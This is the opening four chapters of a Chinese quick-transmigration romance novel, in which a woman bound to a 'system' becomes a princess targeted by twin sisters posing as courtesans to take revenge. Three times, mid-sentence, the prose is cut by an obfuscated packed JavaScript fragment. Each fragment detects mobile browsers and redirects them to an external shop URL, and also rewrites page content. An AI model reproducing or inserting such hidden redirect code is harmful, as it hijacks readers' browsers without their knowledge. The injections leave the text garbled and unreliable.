《主角总想对我强取豪夺[快穿]》 1. 长公主的双面替身情人(一) “殿下?” “……殿下?” 耳边模糊的嗡嗡声吵得人不得安宁,江迎瓷猛地睁开眼,就见一个面容白皙清秀的女子正弯腰立在榻边,神情恭谨地望着自己。 脑海里同时响起了系统的声音。 【滴滴!任务世界《公主的双面情人》已载入,剧情加载中……】 大脑升起一阵阵刺痛感,江迎瓷这才回想起来,她好像死了,但没有魂飞魄散,而是被一个自称系统的东西给绑定了。 它说要带她去做任务。 难道现在,她们就已经进入任务世界了吗? 江迎瓷等了几秒,系统却并没有把所谓的剧情传送过来。 身旁的女子似乎还在等着自己的答复,江迎瓷只好一手撑着身体,一手揉着太阳穴坐了起来。 女子赶紧伸手想要扶住她,却被江迎瓷摆手制止了。 喉咙有点儿涩,江迎瓷闭了闭眼,等那股不适感稍稍减轻之后,才开口道: “你刚才说什么?” 她蹙眉望向女子,被对方头顶的一行小字给短暂吸引了视线。 [一等婢女:茗月] [忠心值:100] 竟然还有身份提示。 江迎瓷这才微微松了口气。 她的目光在装饰奢华古朴的屋内扫了一圈,最后落在了妆台摆放的铜镜上。 也不知道自己现在长什么样,还是不是她本来的面容。 茗月没有注意到她的异样,见江迎瓷醒了,她垂着眼不敢再直视江迎瓷的脸,回话的语气轻柔而恭敬。 “回殿下,陈大人送来的人此刻就在屋外,您可要见一见?” 人? 系统还静悄悄的毫无反应,江迎瓷摸不准现在究竟是什么情况,她观察着茗月的反应,在心里回忆着刚才她对自己的称呼。 殿下? 看来她应该是皇室中人,且身份不低。 这个开局好像还可以。 刚才茗月说人已经被带到了屋外,说明之前她的态度应该是倾向于“见”,否则下面的人不会擅作主张。 大概分析完,江迎瓷清了清嗓子,对茗月道:“带进来吧。” “是。” 茗月福了福身,而后快步走了出去。 裙摆随着她的走动晃悠起来,发出细小的声响,门很快打开又合上,江迎瓷的视线中出现了更多的人影。 她所在的内间与堂屋之间没有门,仅用一层轻纱和珍珠帘幕隔开,看东西影影绰绰的,像蒙上了一层雾气。 进来的几人也不敢发出声响,只屈膝跪在了珠帘外。 隔着层层轻纱,江迎瓷隐约看出跪在最前面的,似乎是两名女子。 茗月重新走了进来,静立在江迎瓷身旁等候吩咐。 江迎瓷摸不准要说什么,便没有立马出声。 不过也不等她开口,进来的其中一个人就主动说道:“奴才陈府管事陈旺拜见长公主殿下!” 原来她是长公主。 江迎瓷不动声色换了个姿势,继续等着陈旺的下文。 她不吭声,其他人似乎也不觉得奇怪,陈旺更是激动异常。 他大概很想讨得江迎瓷的欢心,也不等江迎瓷问话,自顾自就把所有的事情都给交代了。 通过他的话,江迎瓷这才勉强弄清楚了现在的情况。 如她所想,她现在的身份是长公主,身旁站着的是她的心腹婢女,至于帘外跪着的两名女子,则是扬州知府也就是茗月口中的“陈大人”,为了讨好她而送来的瘦马,一对双生姐妹花。 瘦马,一般指的是经过专门培训的女子,这一类人往往出身清贫,因面容姣好而被买回,又在成年后被转卖给富商或是官员做妾。 她们身不由己,下场大都十分凄惨。 江迎瓷打量着跪在帘外的两名女子,心里不由得生出了一抹怜惜。 也是苦命人…… 她正想着,耳边突然传来系统的声音。 【滴滴!剧情加载完成!请宿主准备查收!】 终于加载完了! 江迎瓷精神一振,仗着众人都不敢直视自己,正大光明地打开了系统发来的剧情梗概。 【谢舒遥本是金尊玉贵的公主,却因奸臣叛敌而国破城亡,被迫过上了隐姓埋名亡命天涯的生活。】 【为了复国,谢舒遥不惜隐忍蛰伏,伪装身份来到仇人身边。】 【本以为这条注定充满屈辱和艰辛的路上只有自己一人,却不想还有另外一个人,一直不离不弃地陪着她,守护她……】 江迎瓷皱着眉头看完,有种懂了又没完全懂的感觉。 这个故事是很励志,但好像跟她没什么关系? 她正想着,就听系统032号在她脑海里一板一眼道: 【宿主,现在由我来为你介绍一下剧情。】 【这里是大魏,你现在的身份是大魏的长公主,皇帝的亲姐姐,身份尊贵,权势滔天。】 果然。 江迎瓷的注意力瞬间被“权势滔天”这几个字给吸引了。 她没忘记自己的任务是对主角受强取豪夺。 现在她有权有势,岂不是正方便做任务? 系统给出的任务竟然这么简单吗…… 江迎瓷直觉不对。 果然下一秒,032号就又接着说道:【宿主,现在有一个好消息和坏消息,你想先听哪一个?】 江迎瓷:“……什么好消息?” 032号突然一改刚才的严肃,嘿嘿一笑道:【好消息是,你不用费劲去找主角攻受了,她们就在你面前!】 江迎瓷:!? 她的目光在周围转了一圈,最后停在了那两名跪着的女子身上。 这两人从进来开始就一直安安静静的,存在感极低。 “这两人就是主角攻受?!” 江迎瓷有些怀疑。 032号:【答对了~】 它的语气带着几分贱嗖嗖的窃喜。 【怎么样宿主,主角受都已经主动送上门来了,只要你现在答应收下她,就可以对她为所欲为了!】 【这是不是一个天大的好消息!】 江迎瓷:…… 她默不作声重新翻出故事梗概,看着上面写的,谢舒遥为了复仇而伪装身份潜伏在“仇人”身边,又看了看帘幕外的人影,耳边想起陈府管事说的“瘦马”二字…… “……你别告诉我,主角攻受要报复的仇人,就是我?” 032号:【也不完全是你啦。】 主角受来自大燕,而大燕就是在大魏的攻打下被迫亡国的,主角受想要复国,无论如何都绕不开大魏。 如今的大魏国富兵强,正面对上的话,光凭大燕那几个仅剩的残兵败将,根本不是大魏的对手。 所以主角受想出来的计谋是先挑起大魏内斗,然后再浑水摸鱼…… 032号:【宿主你就是被挑选出来的那个棋子。】 皇帝的胞姐,深受帝王信任的仪宁长公主,是最有资格同皇帝抗衡的人。 原本主角攻受是没有希望轻易接近长公主的。 可谁让这位长公主殿下向来行事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135770|196272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张狂,毫无收敛,以至于天下人皆知她不喜男子,而唯独偏爱长相出众的女子,就连府中伺候的婢女,都得个个容貌不俗。 主角攻受就是看中了这一点,才会选择伪装成瘦马,正好扬州官员绞尽脑汁想要讨好长公主,一见到主角攻受的脸,他立马动了心思,连夜就把人送到了公主府来。 他想,这两人容色绝艳,又是难得的双生花,长公主见了必定会喜欢。 江迎瓷:…… “绑定的时候,你好像跟我说的是,我的戏份很少,一两章就可以下线。” 032号眼神飘忽:【宿主,你没听说过一句话吗?】 打工人的第一课:不要相信老板画的饼。 【虽然是跟之前说的有点不一样,但是你的身份也同样变强了呀!】 【而且,虽然主角攻受现在是恨不得对你杀之泄愤,但在你跟大魏皇帝斗得你死我活之前,她们也不会真的对你做什么的!】 最多是暗暗搞点小动作啦。 江迎瓷感觉自己的脑袋有点痛。 她的目光在不远处的两人身上来回移动,她们都低着头,根本看不出半点深恨江迎瓷的样子。 江迎瓷呼了口气,沉声道:“过来些,让本宫看看你们长什么样。” 珠帘重新晃动起来,跪着的两人没有站起身来,而是就着这个姿势往前膝行,然后在江迎瓷打量的目光中慢慢抬起了下巴。 江迎瓷怔了怔。 那是两张极精致出色的面容,一模一样的脸上唇色浅淡,长睫下的瞳仁像玉石般澄澈透明。 如果不是她们头顶有介绍,一时半会儿江迎瓷还真分辨不出来谁是谁。 她先看向左边的女子。 刚才隔着轻纱看不清,现在两人出现在她面前,江迎瓷总算看清了她们头顶小字的内容究竟是什么。 【主角受:谢舒遥】 【忠心值:-99999】 江迎瓷顿了顿,又侧眸瞥了一眼茗月的头顶。 江迎瓷:“……系统,你真的确定她不会杀了我?” 大概是江迎瓷看得有些久了,被她盯着的人也微微抬起眼睫回望了过来,四目相对的那一瞬间,对方玉白的脸上隐约浮现出了一抹淡粉色。 神色似羞似喜,温柔而灵动自然,完全看不出演戏的成分。 如果她头上不是顶着-99999,江迎瓷或许会真的相信她是在害羞。 怪不得谢舒遥能委屈隐忍那么久,这份耐力果然足够强大。 江迎瓷的心情有点儿复杂。 她盯着谢舒遥多看了两秒,弄清楚了自己要强取豪夺的人是谁之后,接着又看向另一名女子。 【主角攻:谢凌闲】 【忠心值:-99999】 江迎瓷:…… 江迎瓷有点怀疑,这个忠心值的最低值,该不会就是-99999吧? 这两人果然很恨她。 032号见她不说话,有点心虚。 【现在情况就是这么个情况。】 【请宿主加油,努力苟活,争取早日完成任务!】 说完,032号就飞速潜进了江迎瓷的意识海深处。 江迎瓷闭上了眼睛。 局势她已经大概弄清楚了。 人已经在她面前了,收是肯定要收下的,但之后该怎么安排,还得细细思考。 现在两人对她的杀意都很浓。 强取豪夺啊。 要如何在主角攻受都恨她入骨的前提下,调戏主角受,逼疯主角攻。 这是个好问题。 2. 长公主的双面替身情人(二) 半晌过后,江迎瓷重新睁开眼。 她身体往后靠在榻上,垂下眼皮望着两人,“叫什么名字?” 或许是因为刚才和江迎瓷对视过了,跪在左边的谢舒遥率先开口道:“回殿下,妾名唤阿瑶。” 她的嗓音也柔柔的,婉转悦耳,听得人骨头酥麻。 等她说完,一旁的谢凌闲才声音清冷道:“阿绾。” 这两人虽然长相一样,但性格却明显有所不同。 江迎瓷猜她们或许是不知道长公主究竟喜欢哪一类的女子,所以才做了两手准备。 房间里再度安静下来,跪着的谢舒遥和谢凌闲只感觉有道目光一直在她们身上来回打转。 借着余光,谢舒遥不着痕迹地观察着长公主的表情。 对方的眼底黑沉沉的,根本看不出来她心里究竟在想什么。 外界传言都说长公主此人荒唐无度,行事狂乱。 可刚才一番接触后,谢舒遥知道自己想错了,对方并非她想的那种无脑纨绔,反倒是眼神凌厉气势深沉,远比她们想的要更加难以接近。 不过这次的安排足够谨慎,她们的身份也几乎没有错漏不合理之处,就算长公主派人去查,应该也查不出来什么…… 谢舒遥又仔细回忆了一遍,确定自己刚才的表现也非常完美,并没有露出任何马脚。 所以,长公主为何不说话? 江迎瓷在想该怎么做任务。 系统没有告诉她要如何强取豪夺,但以她的理解,既然她会对主角受下手,说明至少主角受还算得她的喜欢。 至于主角攻,反正迟早都要撕破脸皮的,应该不用在她身上费太多心思。 所以接下来,她只需要表现出对主角受的兴趣就行了。 江迎瓷定了定心神,对茗月道:“你先带她们下去歇息吧。” 这就是收下了的意思。 陈旺脸上露出了控制不住的喜色,但还没等他再拍几句马屁,多替知府大人说说好话,就被茗月给一起带走了。 房间内重新恢复安静,等人都走后,江迎瓷这才慢吞吞起身来到铜镜前。 雕刻着牡丹花鸟纹样的铜镜不算特别清楚,但也足够江迎瓷看清楚自己的长相。 出乎意料的,这竟然是她自己的脸。 肤色冷白透明,嘴唇薄而轻抿,深黑双眸狭长内敛,眼尾微微上扬,带着几分不经意的疏离。 江迎瓷迟疑地垂下长睫,薄薄的眼皮上,一颗颜色微淡的黑痣顿时暴露了出来。 连这颗痣都在。 这分明就是她自己。 可是…… 江迎瓷视线往下看向自己的掌心,肌肤细腻柔软,一看就是常年养尊处优的手。 这具身体好像又不是她的,可又跟她长得一样。 想了想,江迎瓷在脑海里呼唤系统: “032号。” …… 长公主府占地面积很大,空的院子也很多。 茗月暂时将两人安置在了飘絮馆中。 此处距离江迎瓷所居住的扶风院不算远,茗月瞧着殿下对这两人的态度还算新鲜,或许近几日就会召她们前去伺候。 “两位姑娘。”茗月板着张脸,“我会遣两名婢女过来伺候,还请两位姑娘先在此处安歇。” 谢舒遥打量着院中的环境,清静雅致,倒是比她想的要好的多。 她对着茗月微微浅笑,“多谢姑娘。” 茗月嗯了声,她又交代了几句,随后就起身离开了。 那两个伺候的婢女还没来,偌大的飘絮馆里此刻就只有谢舒遥和谢凌闲两个人。 谢舒遥收回视线看向谢凌闲,她的脸上还挂着笑,可仔细看去,却发现她的眼底分明毫无笑意。 “走吧,阿绾……姐姐?” 谢舒遥的嗓音轻柔至极,但语调起伏的最后,却多了一丝微不可查的嘲讽之意。 谢凌闲没有搭话,她抬脚迈过门槛,率先走进了内间。 屋里大概许久没有人住过了,虽然打扫得足够干净,却依旧能感觉到几分冷清和空旷。 谢凌闲回过头,同谢舒遥交换了一个眼神。 如今她们初来乍到,长公主府内又高手众多,说不准此刻就有眼睛正在盯着她们,谢凌闲并不打算在此时同谢舒遥商量着什么,而是先找了间房间安置。 那两名婢女很快也到了,她们一个叫做冬莺,一个叫做如意。 两人年纪都不大,性子十分活泼,估计在长公主府内的地位也不高,所以才会被派过来伺候她们。 “奴婢冬莺,奴婢如意,见过两位姑娘。” 谢舒遥伪装的性格是温柔大方,所以此刻也是她先有所动作。 借着扶两人起来的名义探了探脉,谢舒遥确认这两名婢女都不会武功。 她神色自然地冲谢凌闲点了点头,然后从中挑选了如意,冬莺则顺理成章跟着谢凌闲。 两名婢女都没什么异议。 她们确实才进长公主府不久,还没养出什么心眼,几个回合就被谢舒遥把话给套了个一干二净。 “殿下对待身边的人向来温和宽容,尤其是容貌出众者。” 冬莺说着,不自觉打量起了谢舒遥和谢凌闲。 来之前她们就已经听说过了,新来的两位姑娘是一对双生姐妹,但亲眼见到,冬莺还是不免有些出神。 阿瑶姑娘性子柔和,阿绾姑娘气质出众,两人容貌都是一等一的出挑。 明明是同一张脸,偏偏给人的感觉全然不同,怪不得殿下会起了心思,哪怕这两位姑娘的身份实在低了些,也还是把人给收下了。 冬莺这样想着,脸上不免带出了些情绪,被上方的两人看了个一清二楚。 谢舒遥心里闪过一道杀意。 若是从前敢有人用这样的眼神看她,她早就让身边的人把人给拉下去处理了。 冬莺打了个寒颤,不知为何,忽然觉得后背有些发凉。 她疑惑抬头,却见“阿瑶”姑娘仍旧神色温婉地看着自己,又觉得是自己想太多了。 “姑娘刚才问,殿下最疼爱哪位夫人。” 冬莺犹豫了一瞬,而后还是老实道:“听府里的姐姐们说,飘絮馆从前住着一位紫夫人,颇得殿下宠爱,只是后来不知犯了什么事,惹了殿下厌烦,被打发到秋雁阁去了。” 秋雁阁位于长公主府的西北角,偏僻且冷清,寻常压根没有人往那边走。 “自从紫夫人去了秋雁阁后,殿下就再也没去看过她了。” “至于其他几位夫人,都住在衔月院里,两位姑娘或许不久之后就能瞧见她们了。” 其实倒也未必。 殿下虽然喜爱美人,却极为厌烦后院争宠勾心斗角之事,所以几位夫人也都尽量避免同彼此碰面,以免惹了殿下不悦。 只是这话,冬莺并没有说出来。 她才跟着阿瑶姑娘,两人之间的主仆情谊并不深厚,她贸然说这话,未免有挑拨离间,煽风点火之嫌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135771|196272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 但谢舒遥多多少少也能猜到几分。 听冬莺的意思,长公主似乎没有特别偏宠的女人,之前那个紫夫人或许是个意外,不过她已经落败了。 只是没想到,紫夫人从前居然也住在飘絮馆,那茗月将她们安置在此处,究竟是何用意? 谢舒遥暗自思索着,而一旁安静了许久的谢凌闲却忽然开口问道:“殿下召人伺候的次数频繁吗?” 冬莺一愣,如意适时开口答道:“不算频繁。” “有时一个月五六次,有时一月一次都没有,全凭殿下心意。” 看来长公主虽然喜爱美人,却并不贪恋鱼水之欢,她们想要多在她面前露面,还得努力才是。 两人侧眸对视一眼,都在彼此的眼中看到了隐藏极深的恶心和排斥。 同一个女子,且还算是有仇的人做这种事,若不是为了大业…… “阿绾姑娘!” 门外忽然传来一道略熟悉的声音,竟然是才离开不久的茗月。 她去而复返,身后还跟着几个小丫鬟,每个小丫鬟的手里都捧着木盘,上面放着衣裳首饰之类的东西。 茗月表情沉静,“恭喜阿绾姑娘。” “殿下召您今夜前去伺候。” 刚刚才问到这个问题,没想到这么快就来了。 谢凌闲的手指不着痕迹地收紧了,但很快又松开,她抬起眼睫,脸上恰到好处露出一丝疑惑,“那我要现在过去吗?” 茗月:“不。” 她的脸上没有笑容,扭头示意那几个小丫鬟将东西都拿进去,然后才回答道:“今晚亥时,会有专门的马车前来接您过去,请您先梳洗打扮。” “这些衣裳首饰,都是殿下吩咐赏赐给两位姑娘的。” 屋内的两人听见这话俱是一顿,而后一同站起身来,屈膝行礼道:“多谢殿下。” 她们的语气恭敬而拘谨,尾音里还夹杂着隐约的欢喜。 茗月观察着她们的反应,见状这才满意了几分。 她侧身避开两人的行礼,“两位姑娘先准备吧。” 说是两位,实则只有谢凌闲,谢舒遥并没有被选中。 茗月说完就再次离开了。 看着桌上摆放的那些华美首饰,谢舒遥蹙了蹙眉,心里有些奇怪。 之前跪在堂下时,她分明能感觉到长公主对她是感兴趣的,她的目光落在自己身上的时间,明显比谢凌闲要久的多。 她还以为,长公主会先召见她,又或者是同时召见两人。 毕竟她们是双生姐妹。 可没想到,长公主竟然单独召见了谢凌闲。 难不成是身旁伺候的人都小意温柔,所以长公主更偏爱冷艳美人这一类的? 谢舒遥想不通。 谢凌闲见她若有所思,目光也跟着划过了桌上的衣裳,款式颜色素净清冷,的确很符合她的性格。 冬莺去烧水了,如意转身收拾屋子,桌前暂时就只有两人在。 谢凌闲表情淡淡:“你羡慕?” 谢舒遥回过神来。 “怎么会呢,阿绾姐姐。” 她皮笑肉不笑,“我们是姐妹,你好就是我好。” “既然殿下更喜欢姐姐,姐姐可要把握好机会。” 还没走远的如意偷听到这话,只觉得两人果然不愧是姐妹,感情深厚远非旁人可以比拟。 只有谢凌闲听出了谢舒遥话里暗含的,深深的嘲讽。 还有幸灾乐祸。 3. 长公主的双面替身情人(三) 【宿主。】 032号也被江迎瓷这一手操作给整得有些摸不着头脑。 【咱们的任务是对主角受强取豪夺哦。】 宿主可千万不要搞错了! 谢凌闲是主角攻,不是主角受。 “我知道。” 江迎瓷才刚沐浴完,她换了身更加淡雅的衣裳,正由茗月伺候着绞干发丝。 闻言江迎瓷睁开了眼,她咬下身旁婢女喂到唇边的葡萄,目光落在茗月身上,淡漠中带着股无形的压迫。 “下午你去传话时,那两人是什么反应?” 茗月不期然她会突然问起此事,但反应也极快,“两位姑娘都很高兴,相比之下,阿瑶姑娘的神色似乎稍显失落。” “失落?” 失落没被她选中吗? 想到谢舒遥头顶的-99999,江迎瓷深知这只是她的伪装。 她不再开口,又吃了两颗葡萄,就摆手让婢女下去了。 长发也已经干透,茗月替她抹上发油后梳顺,一切收拾完毕,她悄无声息地退了下去。 江迎瓷靠在窗边的软榻上,屋外徐徐凉风透过窗棂钻了进来,拂过脸颊,吹得满屋都是清茶香。 江迎瓷悠然地品了口茶,暖流滑过喉咙,她发出了一声满足的长叹。 这才是人过的日子。 不像之前…… 念头一起,脑海深处忽然开始痛了起来,江迎瓷拧了拧眉,赶紧将想法压了下去。 死之前的许多事,她都不记得了,不过想来应该也不是什么愉快的记忆,否则她不会一想到过去就头疼。 突然觉得做任务也没那么令人难以接受了。 江迎瓷又喝了口茶。 032号看着她这副享受的样子,不由得有些羡慕。 【宿主,你看起来适应良好嘛。】 干什么都有人伺候,连吃东西都有漂亮小姑娘喂,简直像是神仙过的日子。 032号怀疑:【你该不会从前也是这样的吧?】 要不然怎么连一点不习惯都没有,一下子就接受了。 “是么?” 江迎瓷垂眼晃了晃手中的茶杯,等她再抬起头时,就见一道雪色身影正推开门走了进来。 谢凌闲神色淡泊,比屋外的月色更加疏离清冷,她换上了江迎瓷赏赐的衣裳,腰肢被束得盈盈不堪一握,走动间衣摆飘摇,宛如月宫仙女般缥缈淡然。 “殿下。” 嗓音也是清泠泠的,像滴落的泉水。 江迎瓷动也不动,只无声打量着谢凌闲。 谢凌闲想到之前谢舒遥的反应,于是也慢慢抬头看向江迎瓷。 隔着珠帘,她看见江迎瓷也换了装扮。 她穿着一身雪青色衣裙,衣袖宽大柔软,抬臂就能看见手上带着的玉镯,皓腕雪白脖颈纤长,乌黑长发间不插任何珠钗,只松松垂散在颊边。 相比起白天的威严不可侵犯,此时的江迎瓷更多了几分慵懒随性,仿佛距离一下子被拉近了。 谢凌闲看清了,却仍旧没有收回目光。 她在试探江迎瓷的态度。 江迎瓷果然没有生气。 她放下手里的茶杯,冲谢凌闲道: “过来。” 语气随意,仿佛在逗弄一只宠物。 谢凌闲走了过去。 离得越近,她越是能闻到一股香气,像是茶香,又像是长公主身上的味道,清淡雅致,并不难闻。 但谢凌闲仍然觉得难以忍受。 她藏在衣袖下的手用力掐了掐掌心,忍住心里的不情愿,低眸站在了江迎瓷面前。 江迎瓷的视线在她身上流连着,谢凌闲能感觉到她在放肆地打量自己。 她的目光每扫过一个地方,谢凌闲就升起一阵恶心。 她准备了用来应付的药物,原本是不打算用的,可现在看来,或许她还是…… 这个念头刚刚升起,江迎瓷此却忽然收回了视线。 她并没有伸手触碰谢凌闲,而是抬了抬下巴,“会下棋么?” 谢凌闲一怔,这才看见面前的茶案上正摆着一副棋盘。 长公主这是什么意思,要同她下棋? 谢凌闲不知道她以前同其他女子是如何相处的,又或者这只是江迎瓷的一种特殊兴趣。 但瘦马日常学习的技能里也应该包括下棋。 谢舒遥点了点头,“会。” “嗯。”江迎瓷换了个姿势,“坐。” 她竟然真的要同自己下棋。 谢凌闲迟疑着在江迎瓷对面坐下了。 “你先来。” 江迎瓷懒散地撑着脑袋,用二指夹着一枚白色棋子,指尖看上去竟然比棋子还要更加玉白透明。 谢凌闲越发看不透她的想法。 但江迎瓷让她先来,她也只能听话,将黑棋下在了一个不出错的地方。 江迎瓷随后跟上。 032号看得好奇,【宿主,你不是失忆了吗?还会下棋?】 “我不会啊。”江迎瓷大大方方道。 “可若是不找点事做,你难道真想让我对她做什么?” 032号自己也不说了吗,这可是主角攻。 有道理。 【那你总不能和她下一晚上的棋吧?】 “别急。” 江迎瓷又放了一颗棋子。 其实是有点印象的。 虽然她已经记不起具体规则了,但手指仿佛有记忆般,下意识在提醒她该落在哪些位置。 江迎瓷故意一个都没选。 而对面的谢凌闲见状,只觉得果然人不可貌相。 江迎瓷看着镇定自若,还主动要求与她对弈,谢凌闲还当她是下棋高手,棋艺必定精湛。 谁知这竟然全是假的。 一个人的棋艺怎么能烂成这样? 谢凌闲的额头跳了跳。 亏她刚才还想着,要怎么才能不着痕迹地让棋,不被江迎瓷瞧出端倪。 如今看来,她根本不用绞尽脑汁,江迎瓷说不定压根就看不懂棋局。 勉强把一局下完,谢凌闲的整个身体都绷紧了。 “殿下棋艺高超,落子如有神,阿绾甘拜下风。” 她竟然赢了。 看着谢凌闲微抿的唇角,江迎瓷心里生出了一股佩服。 不愧是能干大事的人。 她这样乱下,谢凌闲竟然都还能让她赢。 “不下了。” “时辰不早了。” 谢凌闲听见这话,心中陡然一紧。 她的眼睫微微颤了颤,“殿下……” 江迎瓷随手拂开棋局,黑白色的棋子滚了一地,噼里啪啦的动静让谢凌闲怔愣的同时,更加确定江迎瓷就是个草包。 真正懂得风雅的人,是不会做出这种行为的。 她僵着身体,看见江迎瓷半靠在茶案上,抬起素白微凉的手朝自己伸过来,指尖接触到皮肤后顿了一下,然后力道轻柔地从谢凌闲的眼尾一路抚摸到了侧脸。 她的指腹很软,光滑中带着十足的凉意,这种轻佻而暧昧的态度是谢凌闲从未体会过的。 她感觉自己好像变成了刚才的白棋,被江迎瓷捏在手心里肆意把玩,无法逃离,更不能反抗。 颊边的手指轻抚着,似乎还有更加往下的趋势。 接下来要发生什么,自然不言而喻。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135772|196272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢凌闲没经历过,却也见过别人做这种事。 脸颊被抚摸过的地方生出了一种奇怪的感觉,谢凌闲浑身都因为这股古怪的痒意而僵硬了起来,她没有表现出来,唇角却不自觉地抿了下。 “啪——!” 猝不及防的,一个带着茶香气息的巴掌倏然落在了侧脸上。 力道重得谢凌闲的脑袋都跟着歪了过去。 她一时间根本没有反应过来,直到脸上传来火辣的痛意,谢凌闲这才后知后觉,是江迎瓷打了她一巴掌。 那个刚才还温柔抚摸她脸颊的人,反手就给了她一巴掌。 屋外伺候的人似乎也被这一动静给惊住了,谢凌闲听见茗月隔着门低声唤道:“殿下?” 江迎瓷没有答话,只神色难辨地望着谢凌闲。 谢凌闲终于反应过来,她心里霎时间又惊又怒,却又不得不赶紧下榻,屈膝跪在了江迎瓷脚边。 “殿下息怒!” 脸上的清冷自若再难以维持。 她的眼尾多多少少晕出了一缕潮红,配合着脸上的指痕,看起来反倒多了些可怜的意味。 江迎瓷还是不说话,她的眼眸里带着寒意,落在谢凌闲身上的视线更是冷得刺骨。 谢凌闲已经被这一出给整懵了。 根本想不明白自己究竟怎么惹怒了江迎瓷。 她刚才分明什么都没做。 屋内的气氛压抑而沉闷。 谢凌闲低着头,额头上冷汗都快冒出来了。 江迎瓷猜谢凌闲现在一定很想给自己一刀。 不仅是谢凌闲,就连032号也被江迎瓷这一巴掌给打懵了。 【宿主,你在干什么?!】 好端端的打人做什么? 江迎瓷没对它解释,她取出手帕,慢条斯理擦了擦自己的手指,然后松开手,任由手帕落到了谢凌闲的腿边。 “你不愿意伺候本宫?” 谢凌闲的额角跳了跳,“奴没有不愿意……” 她的话还没有说完,就被江迎瓷给打断了。 “滚出去。” 谢凌闲愣住了,“殿下?” 江迎瓷居高临下,面上尽是厌倦,“你要本宫说第二遍?” 她的姿态还是那样闲散从容,却再没让谢凌闲生出容易亲近的错觉。 谢凌闲默了默,她闭上嘴,顺从地退了出去。 茗月很快走了进来。 “殿下,用不用……” “不用。” 茗月扫了一眼周围,俯身将散落在地的棋子一一捡了起来。 等都收拾好后,她才听见江迎瓷平静道:“去把另一个人带过来。” 她指的是“阿瑶”。 “那门外那个……” “让她站着吧。”江迎瓷态度冷漠。 茗月福了福身。 “是。” …… 谢舒遥来的时候,还有点儿不清楚局面。 传话的人只说殿下让她过来,却不肯告诉她发生了何事。 远远的,她就看见一道熟悉的身影正站在屋外,不是谢凌闲又是谁? 等走近之后,谢舒遥才看清,谢凌闲的脸上竟然红了一片,瞧着分明是个巴掌印。 她惹怒长公主,被长公主打了? 两人飞快交换了一个眼神。 谢舒遥看见谢凌闲冲自己极隐晦地摇了摇头。 说明她也不知道为什么。 谢舒遥的心提了起来。 看来传闻也不全都是假的,至少长公主的脾气是真的喜怒无常。 待会儿她还得更小心谨慎才是。 还有之前准备好的药,也不能再用了。 4. 长公主的双面替身情人(四) 谢舒遥走进里屋时,江迎瓷已经摆好了棋局。 谢舒遥飞快扫了一眼,大概看清了局势情况。 白棋下的极烂,黑棋更是惨不忍睹。 “殿下。”谢舒遥福了福身。 她脸上略施薄粉,着一袭水色对襟长裙,腰间佩戴禁步,屈膝时的身姿轻盈而曼妙。 珠帘轻纱半掩半开,随着谢舒遥的靠近,有莹莹清风徐来,暗香浮动。 江迎瓷撑着额头,目光自上而下打量谢舒遥,眼里掠过了一丝满意。 她浑身上下穿戴的所有东西,都是她下午让茗月送过去的那些。 “坐吧。” 江迎瓷点了点下巴。 一枚白棋被她夹在手指间随意把玩着,谢舒遥的心好像也随着她的抬手垂眼而上下起伏跳动。 她竟然觉得江迎瓷的语气还算温和。 “是。” 暂时摸不清情况,谢舒遥也没有轻举妄动,江迎瓷让她坐,她就当真顺从地坐在了江迎瓷对面。 整理裙摆的期间,谢舒遥能感觉到长公主的视线一直在她身上流连徘徊。 她知道自己哪个角度最好看,于是刻意微微低下了头,露出自己姣好而温柔的侧脸,面颊半红,目光如水。 江迎瓷果然又多看了一会儿。 不愧是主角,谢舒遥的演技精湛自然,容貌更是无可挑剔,一举一动都十分赏心悦目。 不必特意伪装生气,江迎瓷也放松了许多,“你叫阿瑶?” 她的嗓音充满磁性,比白日里听到的更多了两分平和亲切。 “是。”谢舒遥敛着眸,“妾是阿瑶。” 其实白日里江迎瓷已经问过这个问题了,不过长公主身份尊贵,记不住她们这些奴婢的名字也很正常。 “是个好名字。” 江迎瓷的语气听不出喜怒,“方才你进来时,可有瞧见什么?” 若是与自己无关的东西,江迎瓷不会特意问起,谢舒遥立马明白了江迎瓷的意思。 “看见姐姐站在屋外。” 她没有假装听不懂,而是在答完之后,又状似疑惑道:“妾斗胆问一句,不知姐姐是做错了什么?” 她的话里存着几分试探。 但江迎瓷却并没有明说谢凌闲究竟是犯了何错,而是接着问道:“你不替她求求情?” 谢舒遥闻言在心里冷笑了一声,她有那个资格求情吗? 说不定她上一秒才刚求完情,下一秒就会落得跟谢凌闲一个下场了。 可是这话又不能不答,毕竟明面上她跟谢凌闲可是亲姐妹,亲姐姐受了罚,她这个做妹妹的怎么能一点表示都没有? 